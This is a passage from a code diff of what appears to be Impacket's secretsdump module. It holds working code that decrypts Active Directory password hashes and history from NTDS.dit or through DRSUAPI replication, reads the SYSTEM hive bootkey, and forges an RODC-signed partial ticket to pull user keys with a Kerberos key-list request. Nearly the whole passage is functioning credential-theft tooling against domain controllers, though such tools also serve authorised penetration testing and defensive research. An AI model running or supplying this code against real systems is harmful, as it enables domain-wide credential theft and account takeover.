encryptedLMHash['KeyMaterial']) + else: + tmpLMHash = self.__removeRC4Layer(encryptedLMHash) + LMHash = self.__removeDESLayer(tmpLMHash, rid) + else: + LMHash = ntlm.LMOWFv1('', '') + + if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: + encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) + if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) + pekIndex = hexlify(encryptedNTHash['Header']) + tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + encryptedNTHash['EncryptedHash'][:16], + encryptedNTHash['KeyMaterial']) + else: + tmpNTHash = self.__removeRC4Layer(encryptedNTHash) + NTHash = self.__removeDESLayer(tmpNTHash, rid) + else: + NTHash = ntlm.NTOWFv1('', '') + + if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: + domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] + userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) + else: + userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] + + if self.__printUserStatus is True: + # Enabled / disabled users + if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None: + if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1': + userAccountStatus = 'Disabled' + elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0': + userAccountStatus = 'Enabled' + else: + userAccountStatus = 'N/A' + + if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: + pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) + else: + pwdLastSet = 'N/A' + + answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) + if self.__pwdLastSet is True: + answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) + if self.__printUserStatus is True: + answer = "%s (status=%s)" % (answer, userAccountStatus) + + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + + if self.__history: + LMHistory = [] + NTHistory = [] + if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: + encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) + tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) + for i in range(0, len(tmpLMHistory) // 16): + LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) + LMHistory.append(LMHash) + + if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: + encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) + + if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + encryptedNTHistory = self.CRYPTED_HASHW16( + unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) + pekIndex = hexlify(encryptedNTHistory['Header']) + tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + encryptedNTHistory['EncryptedHash'], + encryptedNTHistory['KeyMaterial']) + else: + tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) + + for i in range(0, len(tmpNTHistory) // 16): + NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) + NTHistory.append(NTHash) + + for i, (LMHash, NTHash) in enumerate( + map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): + if self.__noLMHash: + lmhash = hexlify(ntlm.LMOWFv1('', '')) + else: + lmhash = hexlify(LMHash) + + answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), + hexlify(NTHash).decode('utf-8')) + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + else: + replyVersion = 'V%d' %record['pdwOutVersion'] + LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + domain = None + if self.__history: + LMHistory = [] + NTHistory = [] + + rid = unpack(' 0: + encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) + LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) + else: + LMHash = ntlm.LMOWFv1('', '') + elif attId == LOOKUP_TABLE['unicodePwd']: + if attr['AttrVal']['valCount'] > 0: + encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) + NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) + else: + NTHash = ntlm.NTOWFv1('', '') + elif attId == LOOKUP_TABLE['userPrincipalName']: + if attr['AttrVal']['valCount'] > 0: + try: + domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] + except: + domain = None + else: + domain = None + elif attId == LOOKUP_TABLE['sAMAccountName']: + if attr['AttrVal']['valCount'] > 0: + try: + userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') + except: + LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + else: + LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + elif attId == LOOKUP_TABLE['objectSid']: + if attr['AttrVal']['valCount'] > 0: + objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + else: + LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + objectSid = rid + elif attId == LOOKUP_TABLE['pwdLastSet']: + if attr['AttrVal']['valCount'] > 0: + try: + pwdLastSet = self.__fileTimeToDateTime(unpack(' 0: + if (unpack(' 0: + encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) + for i in range(0, len(tmpLMHistory) // 16): + LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) + LMHistory.append(LMHashHistory) + else: + LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + elif attId == LOOKUP_TABLE['ntPwdHistory']: + if attr['AttrVal']['valCount'] > 0: + encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) + for i in range(0, len(tmpNTHistory) // 16): + NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) + NTHistory.append(NTHashHistory) + else: + LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + + if domain is not None: + userName = '%s\\%s' % (domain, userName) + + answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) + if self.__pwdLastSet is True: + answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) + if self.__printUserStatus is True: + answer = "%s (status=%s)" % (answer, userAccountStatus) + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + + if self.__history: + for i, (LMHashHistory, NTHashHistory) in enumerate( + map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): + if self.__noLMHash: + lmhash = hexlify(ntlm.LMOWFv1('', '')) + else: + lmhash = hexlify(LMHashHistory) + + answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), + hexlify(NTHashHistory).decode('utf-8')) + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + + if outputFile is not None: + outputFile.flush() + + LOG.debug('Leaving NTDSHashes.__decryptHash') + + def dump(self): + hashesOutputFile = None + keysOutputFile = None + clearTextOutputFile = None + + if self.__useVSSMethod is True: + if self.__NTDS is None: + # No NTDS.dit file provided and were asked to use VSS + return + else: + if self.__NTDS is None: + # DRSUAPI method, checking whether target is a DC + try: + if self.__remoteOps is not None: + try: + self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) + except: + if os.getenv('KRB5CCNAME') is not None and (self.__justUser is not None or self.__ldapFilter is not None): + # RemoteOperations failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + pass + else: + raise + else: + raise Exception('No remote Operations available') + except Exception as e: + LOG.debug('Exiting NTDSHashes.dump() because %s' % e) + # Target's not a DC + return + + try: + # Let's check if we need to save results in a file + if self.__outputFileName is not None: + LOG.debug('Saving output to %s' % self.__outputFileName) + # We have to export. Are we resuming a session? + if self.__resumeSession.hasResumeData(): + mode = 'a+' + else: + mode = 'w+' + hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode) + if self.__justNTLM is False: + keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode) + clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode) + + LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') + if self.__useVSSMethod: + # We start getting rows from the table aiming at reaching + # the pekList. If we find users records we stored them + # in a temp list for later process. + self.__getPek() + if self.__PEK is not None: + LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS) + # First of all, if we have users already cached, let's decrypt their hashes + for record in self.__tmpUsers: + try: + self.__decryptHash(record, outputFile=hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) + except Exception as e: + LOG.debug('Exception', exc_info=True) + try: + LOG.error( + "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) + LOG.error(str(e)) + pass + except: + LOG.error("Error while processing row!") + LOG.error(str(e)) + pass + + # Now let's keep moving through the NTDS file and decrypting what we find + while True: + try: + record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret) + except: + LOG.error('Error while calling getNextRow(), trying the next one') + continue + + if record is None: + break + try: + if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: + self.__decryptHash(record, outputFile=hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) + except Exception as e: + LOG.debug('Exception', exc_info=True) + try: + LOG.error( + "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) + LOG.error(str(e)) + pass + except: + LOG.error("Error while processing row!") + LOG.error(str(e)) + pass + else: + LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets') + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + + # Do we have to resume from a previously saved session? + if self.__resumeSession.hasResumeData(): + resumeSid = self.__resumeSession.getResumeData() + LOG.info('Resuming from SID %s, be patient' % resumeSid) + else: + resumeSid = None + # We do not create a resume file when asking for individual users + if self.__justUser is None and self.__ldapFilter is None: + self.__resumeSession.beginTransaction() + + if self.__justUser is not None: + # Depending on the input received, we need to change the formatOffered before calling + # DRSCrackNames. + # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE + # That's because we don't specify the domain for the user (and there might be duplicates) + # Always remember that if you specify a domain, you should specify the NetBIOS domain name, + # not the FQDN. Just for this time. It's confusing I know, but that's how this API works. + if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: + self.__justUser = self.__justUser.replace('/','\\') + formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME + else: + formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN + + crackedName = self.__remoteOps.DRSCrackNames(formatOffered, + drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, + name=self.__justUser) + + if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: + if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: + raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ + 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) + + userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) + #userRecord.dump() + replyVersion = 'V%d' % userRecord['pdwOutVersion'] + if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: + raise Exception('DRSGetNCChanges didn\'t return any object!') + else: + LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( + crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser)) + try: + self.__decryptHash(userRecord, + userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], + hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ + 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) + + except Exception as e: + LOG.error("Error while processing user!") + LOG.debug("Exception", exc_info=True) + LOG.error(str(e)) + elif self.__ldapFilter is not None: + resp = self.__remoteOps.getDomainUsersLDAP(self.__ldapFilter) + formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME + for user in resp: + crackedName = self.__remoteOps.DRSCrackNames(formatOffered, + drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, + name=user) + + if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: + if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: + raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ + 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) + + userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) + #userRecord.dump() + replyVersion = 'V%d' % userRecord['pdwOutVersion'] + if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: + raise Exception('DRSGetNCChanges didn\'t return any object!') + else: + LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( + crackedName['pmsgOut']['V1']['pResult']['cItems'], user)) + try: + self.__decryptHash(userRecord, + userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], + hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ + 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) + + except Exception as e: + LOG.error("Error while processing user %s!" % user) + LOG.debug("Exception", exc_info=True) + LOG.error(str(e)) + else: + while status == STATUS_MORE_ENTRIES: + resp = self.__remoteOps.getDomainUsers(enumerationContext) + + for user in resp['Buffer']['Buffer']: + userName = user['Name'] + + userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId']) + if resumeSid is not None: + # Means we're looking for a SID before start processing back again + if resumeSid == userSid: + # Match!, next round we will back processing + LOG.debug('resumeSid %s reached! processing users from now on' % userSid) + resumeSid = None + else: + LOG.debug('Skipping SID %s since it was processed already' % userSid) + continue + + # Let's crack the user sid into DS_FQDN_1779_NAME + # In theory I shouldn't need to crack the sid. Instead + # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. + # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. + crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, + drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, + name=userSid) + + if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: + if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: + LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[ + 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) + break + userRecord = self.__remoteOps.DRSGetNCChanges( + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) + # userRecord.dump() + replyVersion = 'V%d' % userRecord['pdwOutVersion'] + if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: + raise Exception('DRSGetNCChanges didn\'t return any object!') + else: + LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( + crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) + try: + self.__decryptHash(userRecord, + userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], + hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ + 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) + + except Exception as e: + LOG.error("Error while processing user!") + LOG.debug("Exception", exc_info=True) + LOG.error(str(e)) + + # Saving the session state + self.__resumeSession.writeResumeData(userSid) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + + # Everything went well and we covered all the users + # Let's remove the resume file is we had created it + if self.__justUser is None and self.__ldapFilter is None: + self.__resumeSession.clearResumeData() + + LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") + # Now we'll print the Kerberos keys. So we don't mix things up in the output. + if len(self.__kerberosKeys) > 0: + if self.__useVSSMethod is True: + LOG.info('Kerberos keys from %s ' % self.__NTDS) + else: + LOG.info('Kerberos keys grabbed') + + for itemKey in list(self.__kerberosKeys.keys()): + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey) + + # And finally the cleartext pwds + if len(self.__clearTextPwds) > 0: + if self.__useVSSMethod is True: + LOG.info('ClearText password from %s ' % self.__NTDS) + else: + LOG.info('ClearText passwords grabbed') + + for itemKey in list(self.__clearTextPwds.keys()): + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey) + finally: + # Resources cleanup + if hashesOutputFile is not None: + hashesOutputFile.close() + + if keysOutputFile is not None: + keysOutputFile.close() + + if clearTextOutputFile is not None: + clearTextOutputFile.close() + + self.__resumeSession.endTransaction() + + @classmethod + def __writeOutput(cls, fd, data): + try: + fd.write(data) + except Exception as e: + LOG.error("Error writing entry, skipping (%s)" % str(e)) + pass + + def finish(self): + if self.__NTDS is not None: + self.__ESEDB.close() + + +class LocalOperations: + def __init__(self, systemHive): + self.__systemHive = systemHive + + def getBootKey(self): + # Local Version whenever we are given the files directly + bootKey = b'' + tmpKey = b'' + winreg = winregistry.Registry(self.__systemHive, False) + # We gotta find out the Current Control Set + currentControlSet = winreg.getValue('\\Select\\Current')[1] + currentControlSet = "ControlSet%03d" % currentControlSet + for key in ['JD', 'Skew1', 'GBG', 'Data']: + LOG.debug('Retrieving class info for %s' % key) + ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key)) + digit = ans[:16].decode('utf-16le') + tmpKey = tmpKey + b(digit) + + transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] + + tmpKey = unhexlify(tmpKey) + + for i in range(len(tmpKey)): + bootKey += tmpKey[transforms[i]:transforms[i] + 1] + + LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8')) + + return bootKey + + + def checkNoLMHashPolicy(self): + LOG.debug('Checking NoLMHash Policy') + winreg = winregistry.Registry(self.__systemHive, False) + # We gotta find out the Current Control Set + currentControlSet = winreg.getValue('\\Select\\Current')[1] + currentControlSet = "ControlSet%03d" % currentControlSet + + # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] + noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) + if noLmHash is not None: + noLmHash = noLmHash[1] + else: + noLmHash = 0 + + if noLmHash != 1: + LOG.debug('LMHashes are being stored') + return False + LOG.debug('LMHashes are NOT being stored') + return True + + +class KeyListSecrets: + def __init__(self, domainName, kdc, kvno, rodcKey, remoteOps=None): + self.__remoteOps = remoteOps + self.__keyVersionNumber = kvno + self.__rodcKey = rodcKey + if self.__remoteOps is None: + self.__kdcHostName = kdc + self.__domain = domainName + else: + self.__kdcHostName = self.__remoteOps.getMachineNameAndDomain()[0] + self.__domain = self.__remoteOps.getDNSDomain() + + def dump(self): + LOG.info('Using the KERB-KEY-LIST method to get secrets') + self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) + targetList = self.getAllowedUsersToReplicate() + for targetUser in targetList: + user = targetUser.split(":")[0] + targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + partialTGT, sessionKey = self.createPartialTGT(targetUserName) + fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey) + if fullTGT is not None: + key = self.getKey(fullTGT, sessionKey) + print(self.__domain + "\\" + targetUser + ":" + key[2:]) + + def createPartialTGT(self, userName): + # We need the ticket template + partialTGT = TicketAsn1() + partialTGT['tkt-vno'] = ProtocolVersionNumber.pvno.value + partialTGT['realm'] = self.__domain + partialTGT['sname'] = noValue + partialTGT['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value + partialTGT['sname']['name-string'][0] = 'krbtgt' + partialTGT['sname']['name-string'][1] = self.__domain + partialTGT['enc-part'] = noValue + partialTGT['enc-part']['kvno'] = self.__keyVersionNumber << 16 + partialTGT['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + + # We create the encrypted ticket part + encTicketPart = EncTicketPart() + # We need these flags: 01000000100000010000000000000000 + flags = list() + flags.append(TicketFlags.forwardable.value) + flags.append(TicketFlags.renewable.value) + flags.append(TicketFlags.enc_pa_rep.value) + + # We fill in the encripted part + encTicketPart['flags'] = encodeFlags(flags) + encTicketPart['key'] = noValue + encTicketPart['key']['keytype'] = partialTGT['enc-part']['etype'] + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) + encTicketPart['crealm'] = self.__domain + encTicketPart['cname'] = noValue + encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encTicketPart['cname']['name-string'] = noValue + encTicketPart['cname']['name-string'][0] = userName + encTicketPart['transited'] = noValue + encTicketPart['transited']['tr-type'] = 0 + encTicketPart['transited']['contents'] = '' + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.utcnow()) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.utcnow()) + # Let's extend the ticket's validity a lil bit + ticketDuration = datetime.utcnow() + timedelta(days=int(120)) + encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) + # We don't need PAC + encTicketPart['authorization-data'] = noValue + # We encode the encripted part + encodedEncTicketPart = encoder.encode(encTicketPart) + # and we encrypt it with the RODC key + cipher = _enctype_table[partialTGT['enc-part']['etype']] + key = Key(cipher.enctype, unhexlify(self.__rodcKey)) + # key usage 2 -> key tgt service + cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) + + partialTGT['enc-part']['cipher'] = cipherText + sessionKey = encTicketPart['key']['keyvalue'] + + return partialTGT, sessionKey + + def getFullTGT(self, userName, partialTGT, sessionKey): + ticket = Ticket() + ticket.from_asn1(partialTGT) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = partialTGT['realm'].asOctets() + + seq_set(authenticator, 'cname', userName.components_to_asn1) + + now = datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + cipher = _enctype_table[partialTGT['enc-part']['etype']] + keyAuth = Key(cipher.enctype, bytes(sessionKey)) + encryptedEncodedAuthenticator = cipher.encrypt(keyAuth, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + tgsReq = TGS_REQ() + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + encodedApReq = encoder.encode(apReq) + tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value) + encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer())) + tgsReq['padata'][1]['padata-value'] = encodedKeyReq + + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + opts.append(constants.KDCOptions.canonicalize.value) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + serverName = Principal("krbtgt", type=PrincipalNameType.NT_SRV_INST.value) + reqBody['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value + reqBody['sname']['name-string'][0] = serverName + reqBody['sname']['name-string'][1] = self.__domain + reqBody['realm'] = self.__domain + + now = datetime.utcnow() + timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = rand.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(cipher.enctype), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.rc4_hmac_exp.value), + int(constants.EncryptionTypes.rc4_hmac_old_exp.value) + ) + ) + + message = encoder.encode(tgsReq) + # Let's send our TGS Request, the response will include the FULL TGT with the keys!!! + try: + logging.debug("Requesting a service ticket for the user %s", userName) + resp = sendReceive(message, self.__domain, self.__kdcHostName) + except Exception as error: + if str(error).find('KDC_ERR_TGT_REVOKED') >= 0 or str(error).find('KDC_ERR_CLIENT_REVOKED') >= 0: + logging.error("User %s is not allowed to have passwords replicated in RODCs", userName) + elif str(error).find('KDC_ERR_C_PRINCIPAL_UNKNOWN') >= 0: + logging.error("User %s doesn't exist", userName) + elif str(error).find('KDC_ERR_KEY_EXPIRED') >= 0: + logging.error("User %s's password has expired", userName) + elif str(error).find('Connection timed out') >= 0: + raise Exception("Connection timed out: check the KDC HostName or IP address, aborting") + elif str(error).find('Name or service not known') >= 0: + raise Exception("Name or service not known: check the KDC HostName or IP address, aborting") + elif str(error).find('KDC_ERR_WRONG_REALM') >= 0: + raise Exception("KDC_ERR_WRONG_REALM: domain doesn't exist, aborting") + elif str(error).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: + raise Exception("KDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, aborting") + elif str(error).find('KRB_AP_ERR_BAD_INTEGRITY') >= 0: + raise Exception("KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting") + else: + logging.error(error) + return None + return resp + + @staticmethod + def getKey(resp, sessionKey): + tgsRep = decoder.decode(resp, asn1Spec=TGS_REP())[0] + + encTGSRepPart = tgsRep['enc-part'] + enctype = encTGSRepPart['etype'] + cipher = _enctype_table[enctype] + + keyAuth = Key(cipher.enctype, bytes(sessionKey)) + decryptedTGSRepPart = cipher.decrypt(keyAuth, 8, encTGSRepPart['cipher']) + decodedTGSRepPart = decoder.decode(decryptedTGSRepPart, asn1Spec=EncTGSRepPart())[0] + encPaData1 = decodedTGSRepPart['encrypted_pa_data'][0] + decodedPaData1 = decoder.decode(encPaData1['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0] + key = decodedPaData1[0]['keyvalue'].prettyPrint() + + return key + + def getAllowedUsersToReplicate(self): + # Enumerate all groups in domain + resp = self.__remoteOps.getGroupsInDomain() + groupsList = [] + for group in resp['Buffer']['Buffer']: + groupsList.append(group['RelativeId']) + + # Enumerate all aliases in domain + resp = self.__remoteOps.getAliasesInDomain() + aliasesList = [] + for alias in resp['Buffer']['Buffer']: + aliasesList.append(alias['RelativeId']) + + # Enumerate denied users to replicate (alias "Denied Password Replication" RID:572) + resp = self.__remoteOps.getMembersInAlias(rid=572) + deniedList = [500, 501, 502, 503] + for user in resp['Members']['Sids']: + rid = user['Data']['SidPointer']['SubAuthority'][4] + if rid not in deniedList: + deniedList.append(rid) + + # Enumerate denied users in nested groups/aliases + for rid in deniedList: + if rid in groupsList: + resp = self.__remoteOps.getMembersInGroup(rid) + for user in resp['Members']['Members']: + rid2 = user['Data'] + if rid2 not in deniedList: + deniedList.append(rid2) + elif rid in aliasesList: + resp = self.__remoteOps.getMembersInAlias(rid) + for user in resp['Members']['Sids']: + rid2 = user['Data']['SidPointer']['SubAuthority'][4] + if rid2 not in deniedList: + deniedList.append(rid2) + + # Enumerate all users and filter denied ones + resp = self.__remoteOps.getDomainUsers() + targetList = [] + for user in resp['Buffer']['Buffer']: + if user['RelativeId'] not in deniedList and "krbtgt_" not in user['Name']: + targetList.append(user['Name'] + ":" + str(user['RelativeId'])) + + return targetList + + +def _print_helper(*args, **kwargs): + print(args[-1]) \ No 